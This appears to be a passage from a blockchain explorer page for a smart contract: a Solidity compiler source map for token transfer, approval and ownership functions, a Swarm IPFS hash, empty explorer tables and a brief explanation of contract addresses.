;;5084:68;;;;-1:-1:-1;;;5084:68:0;;3761:2:1;5084:68:0;;;3743:21:1;3800:2;3780:18;;;3773:30;3839:34;3819:18;;;3812:62;-1:-1:-1;;;3890:18:1;;;3883:34;3934:19;;5084:68:0;3559:400:1;5084:68:0;-1:-1:-1;;;;;5171:21:0;;5163:68;;;;-1:-1:-1;;;5163:68:0;;4166:2:1;5163:68:0;;;4148:21:1;4205:2;4185:18;;;4178:30;4244:34;4224:18;;;4217:62;-1:-1:-1;;;4295:18:1;;;4288:32;4337:19;;5163:68:0;3964:398:1;5163:68:0;-1:-1:-1;;;;;5242:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5294:32;;1533:25:1;;;5294:32:0;;1506:18:1;5294:32:0;;;;;;;4988:346;;;:::o;5342:375::-;-1:-1:-1;;;;;3709:18:0;;;5441:24;3709:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5508:37:0;;5504:206;;5590:6;5570:16;:26;;5562:68;;;;-1:-1:-1;;;5562:68:0;;4569:2:1;5562:68:0;;;4551:21:1;4608:2;4588:18;;;4581:30;4647:31;4627:18;;;4620:59;4696:18;;5562:68:0;4367:353:1;5562:68:0;5645:53;5656:5;5663:7;5672:25;5691:6;5672:16;:25;:::i;:::-;5645:10;:53::i;:::-;5430:287;5342:375;;;:::o;4365:615::-;-1:-1:-1;;;;;4469:18:0;;4461:68;;;;-1:-1:-1;;;4461:68:0;;5060:2:1;4461:68:0;;;5042:21:1;5099:2;5079:18;;;5072:30;5138:34;5118:18;;;5111:62;-1:-1:-1;;;5189:18:1;;;5182:35;5234:19;;4461:68:0;4858:401:1;4461:68:0;-1:-1:-1;;;;;4548:16:0;;4540:64;;;;-1:-1:-1;;;4540:64:0;;5466:2:1;4540:64:0;;;5448:21:1;5505:2;5485:18;;;5478:30;5544:34;5524:18;;;5517:62;-1:-1:-1;;;5595:18:1;;;5588:33;5638:19;;4540:64:0;5264:399:1;4540:64:0;4642:10;;-1:-1:-1;;;;;4621:17:0;;4642:10;4621:17;;;:11;:17;;;;;;4642:10;;;;4621:31;;:17;;:31;;;4617:121;;4718:8;;-1:-1:-1;;;;;4689:15:0;;4718:8;4689:15;;;:9;:15;;;;;;4718:8;;;;;;;4678:26;;4718:8;4678:26;:::i;:::-;:37;;;;:::i;:::-;:48;;;;:::i;:::-;4669:57;;4617:121;-1:-1:-1;;;;;4766:15:0;;4748;4766;;;:9;:15;;;;;;4800:17;;;;4792:68;;;;-1:-1:-1;;;4792:68:0;;5870:2:1;4792:68:0;;;5852:21:1;5909:2;5889:18;;;5882:30;5948:34;5928:18;;;5921:62;-1:-1:-1;;;5999:18:1;;;5992:36;6045:19;;4792:68:0;5668:402:1;4792:68:0;-1:-1:-1;;;;;4871:15:0;;;;;;:9;:15;;;;;:25;;4890:6;;4871:15;:25;;4890:6;;4871:25;:::i;:::-;;;;-1:-1:-1;;;;;;;4907:13:0;;;;;;:9;:13;;;;;:23;;4924:6;;4907:13;:23;;4924:6;;4907:23;:::i;:::-;;;;;;;;4961:2;-1:-1:-1;;;;;4946:26:0;4955:4;-1:-1:-1;;;;;4946:26:0;;4965:6;4946:26;;;;1533:25:1;;1521:2;1506:18;;1387:177;4946:26:0;;;;;;;;4450:530;4365:615;;;:::o;1307:129::-;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;1080:10;1371:20;1363:65;;;;-1:-1:-1;;;1363:65:0;;6277:2:1;1363:65:0;;;6259:21:1;;;6296:18;;;6289:30;6355:34;6335:18;;;6328:62;6407:18;;1363:65:0;6075:356:1;1363:65:0;1307:129::o;3986:109::-;4033:4;4070:17;:15;:17::i;:::-;-1:-1:-1;;;;;4057:30:0;1080:10;-1:-1:-1;;;;;4057:30:0;;4050:37;;3986:109;:::o;5836:521::-;5894:7;5939:2;5894:7;;;;6023:295;6044:2;6040:1;:6;6023:295;;;6087:3;6091:5;:1;6095;6091:5;:::i;:::-;6087:10;;;;;;;;:::i;:::-;;;;;;;;-1:-1:-1;6120:3:0;6124:5;:1;6128;6124:5;:::i;:::-;:9;;6132:1;6124:9;:::i;:::-;6120:14;;;;;;;;:::i;:::-;;;;;;;;-1:-1:-1;6148:2:0;-1:-1:-1;;;;;6142:8:0;;;6138:66;;6152:8;6158:2;6152:8;;:::i;:::-;;;6138:66;;;6177:2;6171;-1:-1:-1;;;;;6171:8:0;;6167:37;;6181:8;6187:2;6181:8;;:::i;6167:37::-;6196:8;6202:2;6196:8;;:::i;:::-;;;6167:37;6216:2;6210;-1:-1:-1;;;;;6210:8:0;;6206:66;;6220:8;6226:2;6220:8;;:::i;:::-;;;6206:66;;;6245:2;6239;-1:-1:-1;;;;;6239:8:0;;6235:37;;6249:8;6255:2;6249:8;;:::i;6235:37::-;6264:8;6270:2;6264:8;;:::i;:::-;;;6235:37;6307:6;6312:1;6307:2;:6;:::i;:::-;6302:12;;:1;:12;:::i;:::-;6294:2;6284:7;:2;6289;6284:7;:::i;:::-;:12;;;;:::i;:::-;-1:-1:-1;;;;;6283:32:0;;;6274:41;;;;;6048:3;;6023:295;;;-1:-1:-1;6343:5:0;;5836:521;-1:-1:-1;;;;;5836:521:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:186::-;1255:6;1308:2;1296:9;1287:7;1283:23;1279:32;1276:52;;;1324:1;1321;1314:12;1276:52;1347:29;1366:9;1347:29;:::i;:::-;1337:39;1196:186;-1:-1:-1;;;1196:186:1:o;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;3297:127::-;3358:10;3353:3;3349:20;3346:1;3339:31;3389:4;3386:1;3379:15;3413:4;3410:1;3403:15;3429:125;3494:9;;;3515:10;;;3512:36;;;3528:18;;:::i;4725:128::-;4792:9;;;4813:11;;;4810:37;;;4827:18;;:::i;6436:168::-;6509:9;;;6540;;6557:15;;;6551:22;;6537:37;6527:71;;6578:18;;:::i;6609:127::-;6670:10;6665:3;6661:20;6658:1;6651:31;6701:4;6698:1;6691:15;6725:4;6722:1;6715:15;6741:185;-1:-1:-1;;;;;6862:10:1;;;6850;;;6846:27;;6885:12;;;6882:38;;;6900:18;;:::i;:::-;6882:38;6741:185;;;;:::o;6931:285::-;-1:-1:-1;;;;;7072:10:1;;;7042;;;7106:13;;;7102:22;;;7003:19;7146:11;;7167:17;;;7159:26;;7143:43;7133:77;;7190:18;;:::i;:::-;7133:77;;;6931:285;;;;:::o;7221:182::-;-1:-1:-1;;;;;7328:10:1;;;7340;;;7324:27;;7363:11;;;7360:37;;;7377:18;;:::i

Swarm Source

ipfs://cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f6594201

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.